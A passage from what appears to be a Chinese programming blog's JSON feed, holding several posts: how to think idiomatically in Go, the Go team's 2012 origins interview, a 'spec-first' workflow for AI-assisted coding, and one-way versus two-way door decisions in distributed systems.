Go，就必须理解它的特性和惯用法。\nMelkey 恍然大悟：他之前所做的，正是这种“直接翻译”的笨拙工作。他缺少的，是一次彻底的“思维重塑”——停止用过去的经验来套用 Go，而是开始真正地用 Go 的思维方式去思考问题。\n什么是“Go 的思维方式”？ 那么，这种听起来有些玄乎的“Go 思维”究竟是什么？它不是什么神秘的魔法，而是植根于 Go 语言设计中的一系列核心哲学：\n1. 崇尚简洁与可读性\nGo 厌恶“魔法”。它倾向于用清晰、直白、甚至略显“笨拙”的代码，来换取长期的可读性和可维护性。相比于某些语言中炫技式的语法糖和复杂的隐式行为，Go 鼓励你把事情的来龙去脉写得一清二楚。\n2. 组合优于继承\nGo 没有类和继承。它通过接口（interface）实现多态，通过结构体嵌入（struct embedding）实现组合。这种方式鼓励开发者构建小而专注的组件，然后像搭乐高一样将它们组合起来，而不是构建庞大而僵硬的继承树。\n3. 显式错误处理\nif err != nil 是 Go 中最常见也最富争议的代码。但它恰恰体现了 Go 的哲学：错误是程序中正常且重要的一部分，必须被显式地处理，而不是通过 try-catch 这样的语法结构被隐藏起来。它强迫你直面每一个可能出错的地方。\n4. 并发是语言的一等公民\nGoroutine 和 Channel 不仅仅是两个原生语法元素，它们是一种构建程序的新范式。正如 Rob Pike 所言，“并发不是并行”。Go 鼓励你从设计的源头，就把程序看作是一组通过通信来协作的、独立的并发单元，而不是在写完一堆顺序代码后，再思考如何用线程池去“并行化”它。\n从理论到实践：用项目和资源内化新思维 当然，仅仅理解了这些哲学还远远不够。Melkey 强调，在读完所有文档后，他意识到**“阅读所能做的就这么多了”，必须将新学到的思想付诸实践。**\n理论的顿悟，必须通过刻意的项目练习来巩固和内化。下面，就是他亲身走过的、从入门到精通的“四步实战路径”，以及在这条路上为他保驾护航的“精选资源清单”。\n一条清晰的实战路径：用四类项目锤炼 Go 思维 第一站：HTTP 服务 (从简单到复杂) 这是 Go 最核心的应用场景，也是梦开始的地方。从最基础的 CRUD、健康检查 API 入手，逐步深入到 OAuth 认证、自定义中间件、利用 context 包进行请求范围内的值传递等。这个过程能让你全面掌握构建生产级 Web 后端所需的各项技能。\n第二站：CLI 工具 许多优秀的 Go 开源项目，如 Docker、Kubectl，都是强大的 CLI 工具。通过使用 Cobra、Bubble T 等流行库，去构建自己的命令行应用，你会深刻理解 Go 作为“云原生时代的 C 语言”的工具属性，并学会如何优雅地处理命令行参数、标志和应用状态。\n第三站：gRPC 服务 当你感觉 HTTP 服务已驾轻就熟时，就该迈向微服务了。学习 gRPC 和 Protocol Buffers，构建服务间的通信。这将迫使你的思维从处理“用户-服务器”交互，转变为处理“服务-服务”间的交互，是成为分布式系统架构师的关键一步。\n第四站：管道作业与脚本 真正的精通，是把一门语言用成“肌肉记忆”。尝试用 Go 替代你过去的脚本语言（如 Python），去编写一些数据处理的管道作业或日常运维脚本，比如批量清洗数据库中的脏数据。这会极大提升你对 Go 标准库的熟练度，让它成为你工具箱里最顺手的那一把。\n注：Melkey是机器学习工程师，因为他的第四站中，更多是数据处理相关的实战路径。\n良师益友：来自一线的精选资源清单 在这条充满挑战的实践之路上，你不是一个人在战斗。Melkey 也分享了那些曾给予他巨大帮助的“良师益友”。这份清单的宝贵之处在于，它经过了生产一线工程师的真实筛选：\nWeb 后端实战圣经：《Let’s Go Further》 by Alex Edwards 这本书被誉为 Go Web 开发的经典之作。即便时隔数年，其中的原则和实践依然极具价值。我也极力推荐这本书，Alex 的代码风格非常清晰，对初学者极其友好，能帮你打下坚实的基础。\n测试驱动开发双璧：《Learn Go with Tests》 \u0026amp; 《Writing an Interpreter in Go》 前者是优秀的在线教程，手把手教你如何通过测试来学习 Go。后者则通过编写一个解释器的过程，让你在实践中深刻理解测试驱动开发（TDD）的精髓。它们不仅教测试，更在教 Go 语言本身。\n避坑与最佳实践指南：《100 Go Mistakes and How to Avoid Them》 这是一本能让你快速提升代码质量的“速查手册”。通过学习别人踩过的坑，你可以少走很多弯路，写出更地道、更健壮的 Go 代码。\n小结：真正的精通，是一场思维的迁徙 Melkey 的故事告诉我们，精通一门编程语言，从来都不只是学习语法和 API 那么简单。它更像是一场思维的迁徙——你必须愿意放下过去的地图，学习新大陆的规则和文化，并最终成为这片土地上地道的“原住民”。\n如果你也感觉自己写的 Go 代码“不对劲”，不妨停下来，问问自己：我是在用 Go 的方式思考，还是在用过去的经验翻译？\n或许，你的“顿悟”时刻，也正隐藏在重读一遍《Effective Go》的字里行间，或是开启下一个实战项目的决心之中。\n你是否也有过类似的“顿悟”时刻？又是哪篇文章、哪个项目或哪位导师，帮助你完成了 Go 思维的重塑？欢迎在评论区分享你的故事。\n资料地址：https://www.youtube.com/watch?v=wr8gJMj3ODw\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/04/everything-i-did-to-become-an-expert-in-golang/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/everything-i-did-to-become-an-expert-in-golang-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/07/04/everything-i-did-to-become-an-expert-in-golang\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/07/04/everything-i-did-to-become-an-expert-in-golang\"\u003ehttps://tonybai.com/2025/07/04/everything-i-did-to-become-an-expert-in-golang\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e你是否也有过这样的时刻？\u003c/p\u003e\n\u003cp\u003e你已经用 Go 写了不少代码，项目也能跑起来，但内心深处总有一种挥之不去的“别扭感”。你写的 Go 代码，看起来更像是“带有 Go 语法的 Java/Python”，充斥着你从旧语言带来的思维习惯。代码或许能工作，但它不优雅，不简洁，总感觉“不对劲”。\u003c/p\u003e","title":"Twitch工程师的Go进阶之路：为何你写的Go代码，总感觉“不对劲”？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/07/03/meet-the-go-team-2012\n大家好，我是Tony Bai。\n2012 年，Google I/O 大会的舞台上，一个刚刚发布 1.0 版本的编程语言团队，正襟危坐。他们面对着全球开发者的审视和提问，这其中，就有三位图灵奖得主级别的传奇人物：Ken Thompson、Rob Pike 和 Robert Griesemer。\n那一年，Go 1.0 的发布，是一个历史性的里程碑。它意味着一个承诺“向后兼容、稳定可靠”的 Go 语言，正式诞生。\n今天，就让我们扮演一次“Go 语言考古学家”，拂去时间的尘埃，回到那个被称为“创世纪”的时刻，重温 Go Team 核心成员们的亲口讲述，探寻这门语言最纯粹的初心和设计哲学。\n我们为何创造 Go？—— “厌倦了等待 C++ 编译” 在访谈中，当被问及创造 Go 的初衷时，Rob Pike 给出了一个近乎“玩笑”却又无比真实的答案：\n“我们厌倦了等待 C++ 的编译。”\n他生动地描绘了当时在 Google 内部的日常：为了构建一个巨大的 C++ 二进制文件，团队成员不得不在庞大的计算集群上等待超过一个小时。\n更令人抓狂的是失控的依赖管理。Rob Pike 提到，他的同事 Mike Burrows（Chubby 的作者）在一次漫长的编译中发现，一个他从未听说过的、与项目毫无关系的头文件，竟然被重复编译了 37,000 次！\n“当你用 ifdef 宏来保护依赖时，你最终得到的就是一个极其稠密的、做了太多无用功的依赖之巢。” Rob Pike 总结道。\n这个巨大的痛点，催生了 Go 最核心的设计目标之一：从语言层面，彻底解决依赖问题。\n清晰的依赖图： Go 的导入路径直接明了。 拒绝无用功： 编译器会拒绝未被使用的导入。 高效的编译链： 设计上保证了“编译包 A 不应再重新编译包 C（如果 A-\u0026gt;B-\u0026gt;C）”。一旦包 B 被编译，它就携带了关于 C 的所有必要信息。 而对于另一位创始人、C 语言和 Unix 的共同发明者 Ken Thompson 来说，促使他下定决心的“临门一脚”则更为直接和幽默。当被问及为何对 Go 如此热情时，他言简意赅：\n“当我试图去读 C++0x（即 C++11）的标准草案时，我就下定决心了。”\n全场爆笑。在一门日趋复杂的巨型语言面前，三位大师不约而同地选择了回归简单。\nGo 的“魔法”时刻 —— 那些改变编程方式的设计 Go 的简洁并非简陋。在这次访谈中，创始人们也分享了那些让他们自己都感到惊喜和自豪的“魔法”设计。\nSlices (切片)：Ken Thompson 的神来之笔\nRob Pike 回忆道，团队曾为了“数组”到底该如何工作而苦恼了整整一年。他们既想要静态检查的固定长度数组，又渴望某种形式的可变长度数组。在无数次的挣扎后，有一天，Ken Thompson 带着 slice 的想法走进办公室。\n“起初我们并不确定这是不是正确答案，” Rob Pike 说，“但一旦我们开始使用它，一切都变得显而易见。” 一个简单而优雅的设计，完美地解决了这个旷日持久的难题。\nInterfaces (接口)：Rob Pike 的挚爱\n对于 Rob Pike 而言，接口是他认为 Go 中最强大的特性。\n“接口深刻地改变了我对软件开发的思考方式。一个程序由这些可以轻松‘粘合’在一起的东西组成，这种感觉太棒了。它改变了软件被构建的方式。”\nGo 的接口是隐式实现的。这种非侵入式的设计，让组件之间的耦合度降至最低，极大地促进了代码的解耦和可组合性。\nPackages (包)：看似显然，实则艰难\n今天我们觉得理所当然的 Go 包机制——一个包可以由多个文件组成，包内全局变量可以任意顺序声明——在当时也是经过了无数次辩论才最终成型的。\n“它看起来似乎是显而易见的，但要弄清楚这一点真的非常困难。” Rob Pike 感叹道。这种“松散”的包设计，极大地简化了代码组织和重构的难度。\n有所为，有所不为 —— Go 的设计权衡 当被问及如何看待 D 语言等其他试图改进 C++ 的语言时，Robert Griesemer 阐述了 Go 截然不同的设计哲学：\n“我的印象是，D 语言会像 C++ 一样不断成长。而在 Go 中，我们试图采取完全相反的方式：尽可能地移除东西，将其简化到骨架，只保留你构建一切所需的绝对最小值。”\n他相信，如果这些小组件是正交且能良好协作的，最终得到的东西会比拥有大量相互掣肘的特性的语言更强大。\n这种“少即是多”的哲学，体现在 Go 对许多“流行特性”的刻意“缺失”上。当被问及“最庆幸 Go 缺失了什么特性”时，团队成员提到了：\n类型继承体系 (Type Hierarchy) 可选参数 (Optional Arguments) 列表推导式 (List Comprehensions) 三元运算符 Rob Pike 指出，在 Java 或 C++ 中，你通常从设计类型继承树开始。这项工作耗时耗力，一旦发现设计有误，回头修改的成本极高。Go 通过移除类型继承，让程序在演进过程中更易于调整和适应。\n为了凸显 Go 的简洁与 C++ 的复杂之间的对比，Rob Pike 更是转述了当时未能到场的 Russ Cox 的一句玩笑话，它为 Go 的哲学做了最好的注脚：\n“C++ 的风格指南里条条框框，而 Go 的风格指南第一句或许应该是：你可以使用这门语言的全部。”\n回望 2012 的“预言” —— 那些已实现和仍在路上的事 考古的乐趣，在于用今天的视角去审视昨天的预言。在 2012 年，Go Team 对未来的展望，如今看来既有惊人的远见，也留下了些许历史的印记。\n对 Go 1.1 的精准预言： 他们当时预测 1.1 版本将专注于性能提升、GC 改进、调度器优化和对更多操作系统的支持。这与后来 Go 1.x 系列的演进路径完全吻合。 对 Go 2.0 的务实态度： 团队明确表示“Go 2 遥遥无期”，Go 2 的新想法将来自于使用 Go 1 中发现的真实需求。这个务实的态度至今仍在指导着 Go 的发展。 最大的“失误”？ 当被问及此，团队坦诚地提到了 nil 指针（Tony Hoare 的“十亿美元的错误”），以及循环变量的作用域问题。这些话题，至今仍在社区中被热烈讨论。 未解的难题与渴望： Rob Pike 当时多次提到，他们非常想实现但还没找到完美方案的“网络化的 Channel (netchan)”，以及对一个真正的“抢占式调度器”的渴望。这些难题，在后来的岁月里，通过不同的方式被逐步探索和解决。 小结：回到源头，理解初心 穿越时空，回到 Go 语言的“创世纪”现场，我们听到的不是高深莫测的理论，而是一群务实的工程师，为了解决自己在日常工作中遇到的真实、具体的痛点，而进行的一场充满智慧、权衡与热情的创造。\n他们对简洁的极致追求，对工程效率的深刻理解，以及对“少即是多”的坚定信念，共同塑造了今天我们所热爱的 Go 语言。\n理解这段历史，就是理解 Go 的灵魂。\n参考资料链接：https://www.youtube.com/watch?v=sln-gJaURzk\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/03/meet-the-go-team-2012/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/meet-the-go-team-2012-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/07/03/meet-the-go-team-2012\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/07/03/meet-the-go-team-2012\"\u003ehttps://tonybai.com/2025/07/03/meet-the-go-team-2012\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e2012 年，Google I/O 大会的舞台上，一个刚刚发布 1.0 版本的编程语言团队，正襟危坐。他们面对着全球开发者的审视和提问，这其中，就有三位图灵奖得主级别的传奇人物：Ken Thompson、Rob Pike 和 Robert Griesemer。\u003c/p\u003e","title":"Go考古：创始人亲述Go语言的“创世纪”"},{"content":"\n本文永久链接 – https://tonybai.com/2025/07/02/vibe-specs\n大家好，我是Tony Bai。\n你是否也曾掉入 AI 编程的“氛围陷阱”？\n你坐在 IDE 前，脑海中有一个自以为清晰的任务。你信心满满地打开 AI 助手，给出一个模糊的指令，也就是所谓的“氛围”编程 (Vibe Coding)。结果，AI 像一个过度热情的实习生，还给你一堆看似合理但完全无用的“废话软件”(slop software)，让你陷入无尽的修改和挫败。\n如果我告诉你，有一种简单的工作流转变，不仅能解决这个问题，还能将你的功能开发时间减少约 60%，你会不会觉得难以置信？\n最近，一篇名为《Vibe Specs: Vibe Coding That Actually Works》的文章分享的正是这样一个简单却颠覆性的模式。它的核心就是：别再直接让 AI 写代码了！\n在这篇文章中，我们就来看看文章中提到的Vibe Specs究竟是如何提升AI编码的效率和准确性的。\n核心解法：拥抱“规范先行” (Spec-First) 文章提出的新范式，彻底颠覆了传统的 AI 编程流程。它将 Prompt -\u0026gt; Code 的直接路径，转变为一个更稳健、更高效的三步曲：\nLLM -\u0026gt; Spec -\u0026gt; Code 这意味着，与 AI 助手的第一步交互，不是让它写代码，而是让它帮你写一份需求规范 (Specification, Spec)。\n这里的精髓在于一个关键的角色转变：\n你不再需要费尽心机地写一份完美的 Spec，而是由 AI 扮演“产品经理”或“需求分析师”的角色来“采访”你。\n它会主动提问，引导你澄清目标、确定范围、明确核心功能、思考边界条件。而你的工作，仅仅是“批判、调整和澄清”。\n天壤之别：一个“Before \u0026amp; After”的真实对比 让我们来看一个真实的例子，感受一下“规范先行”的威力。\nBefore：直接生成代码 (Vibe Coding) 你： “帮我创建一个处理搜索功能的 API 路由。”\nAI： （兴奋地）“好的！马上为您实现一个基础的搜索端点！”\n（一顿操作，创建了 pages/api/search.js, utils/searchHelpers.js, lib/database.js 等一堆文件，+98行代码） AI： “我已经实现了一个全面的搜索 API，支持：全文搜索、分页、模糊匹配、结果排序、缓存层……还需要加上搜索分析吗？”\n你： （崩溃地）“天啊，首先这根本跑不起来；其次你用的这些系统我们根本没有；再次……”\n（半个工作日过去了，最终在沮丧中删掉分支） After：“规范先行” (Spec-First) 你： “帮我创建一个处理搜索功能的 API 路由。” AI： （礼貌地）“非常乐意！不过在开始编码前，我能先为您创建一份规范 (Spec) 吗？这能帮助我们精准地定义您需要的功能。” 你： “好，就这么办。” AI： （开始提问）“太好了！请问： 用户要搜索什么？（商品、博客、用户？） 哪些字段需要被搜索？（仅标题，还是标题+内容？） 需要哪些搜索特性？（精确匹配、模糊匹配、大小写敏感？） 您正在使用什么数据库？（PostgreSQL, ES?） …”\n你： “我们是搜索博客文章，只搜标题和内容字段，不区分大小写的模糊匹配就行。用的是 PostgreSQL，这是个小博客，性能不关键。”\nAI： “完美！我来为您生成一份规范文档。”\n（生成一份清晰的 blog-search-api.md 文件，+35行） 你： “看起来很棒，开干吧 (GO)！”\nAI： “收到！现在我将基于这份规范来实现 API。”\n（生成一个 pages/api/search.js 文件，仅24行精准、聚焦的代码） AI： “我已经实现了完全符合规范的 API，它支持：……需要我为您添加一个简单的测试文件吗？”\n对比是惊人的。后者不仅代码质量更高、完全符合需求，更重要的是，它尊重了你的时间和认知负荷。\n“规范先行”的七大好处：支撑 60% 效率提升的秘密 这种工作流的转变，解决了当前 AI 辅助开发中一系列令人头疼的问题。也正是这些好处的叠加，构成了效率大幅提升的基础。在原文中，作者 Luke Bechtel 分享了他的亲身经历：\n“（使用这个模式后）我估计我的功能开发时间减少了约 60%，而且产出的结果质量更高。过去需要花 2-3 小时实现后才发现做错了，现在只需要花 10-20 分钟规划，然后花 1 小时正确地实现它。”\n让我们看看这背后是哪七大支柱在起作用：\n从“对话漂移”到“稳定文档”：AI 对话上下文易混乱。而一份 .md 格式的 Spec 文档是稳定的，是可靠的真理来源。\n从“单人独舞”到“团队协作”：AI 聊天记录是私人的。而一份 Spec 文档，你可以轻松地把它交给同事，或者自己过一周再捡起来，上下文清晰如初。\n从“毫无章法”到“版本控制”：Git 无法追踪对话历史。但它可以完美追踪一份 WidgetFeature.md 的演进。\n从“功能蔓延”到“范围明确”：一个模糊的请求可能被 AI 无限解读。而一份明确的 Spec 则彻底杜绝了功能蔓延。\n从“上下文丢失”到“即时恢复”：项目搁置一周，忘了当初为何这么设计？有了 Spec，你可以瞬间恢复全部上下文。\n从“空白页恐惧症”到“结构化开始”：面对新功能不知从何下手？现在，AI 成了你的文档助理，帮你提出结构，你只需批判和填充。\n从“Token 浪费”到“高效利用”：与其把 Token 浪费在漫无目的的对话上，不如用它们来生成和解析结构化的 Spec，得到更精准的响应。\n小结：慢即是快，LLM -\u0026gt; Spec -\u0026gt; Code 我们总想“快速行动，打破常规”，但正如文章所言：\n“如果创造出来的东西是无用的，那么创造得再快也毫无意义。”\n(It doesn’t matter how quickly you can create something if it’s useless)\n“规范先行”的模式，看似在编码前增加了短短 5 分钟的“文书工作”，但它节省的，是后续数小时甚至数天的重构、调试和返工时间。这才是标题中“效率提升 60%”的真正奥秘，是真正的“慢即是快”。\n对AI Agent 同样有效：更高层次的“规范先行”\n你可能会想，这套流程对于我们与 Copilot、Cursor 这类“助手”的交互很有效，但如果未来我们使用的是更高级的、自主性更强的 AI Agent 呢？它们不是应该能更好地理解我们的模糊意图吗？\n恰恰相反，“规范先行”的思想对于与 AI Agent 的协作可能更为重要。\n一个 AI Agent 本质上是一个更强大的执行者，它拥有调用工具、访问文件、执行命令的能力。如果你给它的指令依然是模糊的“Vibe”，它可能会以一种更具破坏性的方式去“自由发挥”——或许会调用错误的 API，修改不该动的文件，甚至陷入昂贵的执行循环。\n在这种场景下，“Vibe Specs”扮演的角色，从一份“需求文档”，升级为一份给 Agent 的“行动计划”或“任务指令书”。\n输入： 你和 AI Agent 通过对话，共同制定出一份高级别的行动计划（即 Spec），明确最终目标、关键步骤、允许使用的工具、禁止操作的边界、以及衡量成功的标准。 执行： Agent 将这份结构化的计划作为其核心指令，自主地去分解任务、执行步骤。 监控： 这份 Spec 也成为了你监控和评估 Agent 工作表现的基准。你可以清晰地看到它执行到了哪一步，结果是否符合预期。 因此，无论 AI 的形态如何演进，从辅助编码的“副驾驶”，到自主行动的“智能体”，“先定义清楚问题，再着手解决” 这个软件工程的第一性原理依然适用。“规范先行”不仅没有过时，反而在更高阶的人机协作中，扮演了“安全带”和“导航图”的关键角色。\nAI 辅助开发的未来，不在于生成更花哨的代码，而在于更精准的需求表达。让我们拥抱 LLM -\u0026gt; Spec -\u0026gt; Code 这一新范式，把 AI 从一个喋喋不休、自作聪明的实习生，变成一个严谨、高效、懂得倾听的资深架构师。\n这才是 AI 编程的正确打开方式。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/02/vibe-specs/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/vibe-specs-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/07/02/vibe-specs\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/07/02/vibe-specs\"\u003ehttps://tonybai.com/2025/07/02/vibe-specs\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e你是否也曾掉入 AI 编程的“氛围陷阱”？\u003c/p\u003e\n\u003cp\u003e你坐在 IDE 前，脑海中有一个自以为清晰的任务。你信心满满地打开 AI 助手，给出一个模糊的指令，也就是所谓的“氛围”编程 (Vibe Coding)。结果，AI 像一个过度热情的实习生，还给你一堆看似合理但完全无用的“废话软件”(slop software)，让你陷入无尽的修改和挫败。\u003c/p\u003e","title":"别再直接让 AI 写代码了！试试这个“Vibe Specs”模式，效率提升60%"},{"content":"特斯拉首席工程师的忠告：用“单向门 vs 双向门”决策，看清分布式系统的未来 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n特斯拉首席工程师的忠告：用“单向门 vs 双向门”决策，看清分布式系统的未来 七月 1, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/07/01/predicting-the-future-of-distributed-systems\n大家好，我是Tony Bai。\n身处技术浪潮之中，我们每个人或许都曾有过这样的焦虑：新的数据库、新的编程模型、新的 AI 框架层出不穷，我该如何选择？选错了，会不会让团队陷入泥潭，给自己留下难以偿还的技术债？\n最近，特斯拉首席工程师 Colin Breck 在 Craft 2025 大会上做了一场题为《预测分布式系统的未来》的精彩分享。他并没有给出非黑即白的答案，而是提供了一个极其强大的思维武器，来帮助我们拨开迷雾，做出更有效的工程决策。这个武器，就是源自亚马逊创始人 Jeff Bezos 的——“单向门 vs. 双向门”决策框架。\n今天，我们就以这个框架为钥匙，跟随 Colin 的思路，去打开分布式系统的未来之门。\n决策的“导航仪”：单向门 vs. 双向门 在深入技术细节之前，我们必须先理解这个核心框架。它将决策分为两类：\n单向门 (One-Way Door)： 这类决策后果严重，且难以逆转，甚至根本无法回头。一旦你迈进了这扇门，想再出来就要付出巨大的代价。对于“单向门”决策，Bezos 的建议是：必须极其谨慎，放慢速度，召集最相关的人，尽可能多地收集信息再做决定。\n双向门 (Two-Way Door)： 这类决策的影响不大，即使做错了，也可以轻松地“退出来”，再选择另一扇门。它的试错成本很低。对于“双向门”决策，应该快速、轻量地由个人或小团队做出，以保持高效率。\n这个框架最大的价值在于，它提醒我们警惕一个致命的错误：把一个“单向门”决策，当作“双向门”来草率处理。 这种失误，可能会让你的组织背上沉重的技术包袱，长达数年。\n现在，让我们带着这个“导航仪”，去审视 Colin 预测的分布式系统三大趋势。\n趋势一：对象存储 —— 充满“双向门”的乐园 Colin 的第一个预测是，对象存储（以 S3 为代表）正在从过去的分析型负载，越来越多地走向事务型和操作型负载，成为下一代数据库和系统的基石。\n为什么这个趋势如此确定？因为它为我们创造了大量的“双向门”。\n过去，我们选择一个数据库（比如 MySQL），我们的数据、查询方式、扩展模式都被这个“整体”方案深度绑定。想从 MySQL 迁移到 PostgreSQL？这是一项艰巨的任务，更像一扇“单向门”。\n而基于对象存储的新架构正在“解体”(Disaggregation) 传统数据库，将其拆分为多个可自由组合的组件：\n统一的存储层： S3 API 已成为事实标准。你可以用 AWS S3，也可以用 Google Cloud Storage，或者在本地部署 MinIO。更换存储后端的门是“双向”的。 开放的数据格式：Parquet、ORC等开放格式让你的数据不再被数据库私有格式锁定。今天你可以用 Spark 分析它，明天可以用 DuckDB 查询它，后天可以加载到 Snowflake。更换计算引擎的门是“双向”的。 可插拔的计算/查询引擎： DuckDB、DataFusion 这类库的崛起，让我们能像使用 SQLite 一样，直接对 S3 上的 Parquet 文件执行高性能 SQL 查询。这个查询引擎不满意？换一个！这扇门也是“双向”的。 这种架构的核心是互操作性与可移植性。它通过标准化和解耦，极大地降低了我们的决策风险和迁移成本。 正因为到处都是“双向门”，开发者可以放心大胆地拥抱这个趋势。\n趋势二：新编程模型 —— 遍布“单向门”的迷宫 与对象存储的清晰图景相反，Colin 认为下一代编程模型的未来则要模糊得多，充满了艰难的“单向门”决策。\n我们当前的开发模式（容器 + 应用代码 + 一堆库）存在很多问题：每个应用都在重复解决持久化、重试、状态管理等难题；安全补丁也难以管理。\n为了解决这些问题，涌现出了一批新的编程模型，例如：\n持久化工作流平台： 如 Temporal 分布式应用运行时： 如 Akka Platform、WasmCloud 独特的运行时环境： 如 Gollum、Unison 它们的目标很宏大：让开发者只关心业务逻辑，把持久化执行、状态管理、部分失败处理等分布式难题下沉到基础设施。\n但选择其中任何一个，都几乎是一个不可逆的“单向门”决策。为什么？\n巨大的投资： 这不仅是金钱投入，更是整个团队的学习成本和思维模式的转变。 深度锁定： 你的核心业务逻辑将与平台的 API 和抽象深度绑定，想迁移出去？难于登天。 生态系统风险： 这个平台或框架五年后还活着吗？如果它死掉了，你的系统怎么办？ 正因为这些决策都是沉重的“单向门”，大多数团队宁愿继续使用 Kubernetes + 应用容器这种“我们已经知道”的模式，也不愿轻易踏入这个迷宫。\n趋势三：AI 工程化 —— 可能是打开“单向门”的催化剂 那么，僵局如何打破？Colin 认为，催化剂可能就是 AI。\n他一针见血地指出：“所谓的 AI 工程化（Operationalizing AI），其本质就是系统工程。”\n那些时髦的术语背后，无论是 AI 工作流（AI Workflows）还是智能体（Agentic AI），其核心都是在解决经典的分布式系统难题：如何管理长周期任务、如何保证持久化执行、如何处理状态、如何容错……正如那句经典吐槽：“到35岁，你应该已经重复造过工作流引擎、任务队列和对象关系映射的轮子了。”\nAI 的浪潮带来了巨大的需求压力和创新动力，使得人们愿意去冒更大的风险，去尝试那些能解决这些复杂问题的“单向门”方案。一个创业公司为了快速实现一个复杂的 AI Agent，可能会选择直接拥抱 Temporal，因为从头造轮子的成本更高。\n但这同样是一个陷阱。Colin 警告说，要警惕那些看似“先跑起来再说”的“双向门”决策，比如随便搭一个临时的任务队列来驱动 AI 应用。这种决策很可能在未来演变成一笔巨大的、难以偿还的技术债，最终变成一个你当初没意识到的“单向门”。\n给 Gopher 的启示：用“门”的思维审视我们的技术栈 这个决策框架对我们 Gopher 来说，同样具有极强的指导意义。我们可以用它来审视日常的技术选型：\n选择 Web 框架（Gin vs. 标准库）： 这更像一个“双向门”。Gin 遵循了标准库的 http.Handler接口，即使以后想换，迁移成本也是可控的。 引入一个新的数据库（PostgreSQL vs. TiDB）： 这更偏向“单向门”。它涉及到数据模型、ORM、运维、团队知识储备等方方面面，一旦深入使用，更换成本极高。 采用一个微服务框架（Go-kit vs. Kratos）： 这也接近“单向门”。它会深度影响你的项目结构、RPC 方式、服务治理逻辑，更换起来伤筋动骨。 反观 Go 语言自身的设计哲学——简洁、小接口、组合优于继承——是不是正是在鼓励我们创造更多的“双向门”？Go 避免了庞大而笨重的“全家桶”式框架，而是提供小而美的标准库和可组合的组件，让我们能以更低的锁定风险构建系统。这本身就是一种降低决策成本的智慧。\n小结：决策的智慧，在于选择正确的“门” Colin Breck 的分享，并没有给我们一张未来的藏宝图，而是给了我们一个更宝贵的东西：一个决策的指南针。\n技术世界里没有绝对的“好”与“坏”，只有在特定场景下的“合适”与“不合适”。“单向门 vs. 双向门”框架的价值，不在于帮你找到唯一的正确答案，而在于帮你为不同类型的决策，建立起正确的决策流程。\n对于那些充满不确定性、一旦走错就万劫不复的“单向门”，请务必保持敬畏，放慢脚步。而对于那些无伤大雅的“双向门”，不妨大胆尝试，快速迭代。\n正如 Colin 在结尾引用的那句话：“让我们的抽象保持流动性。” 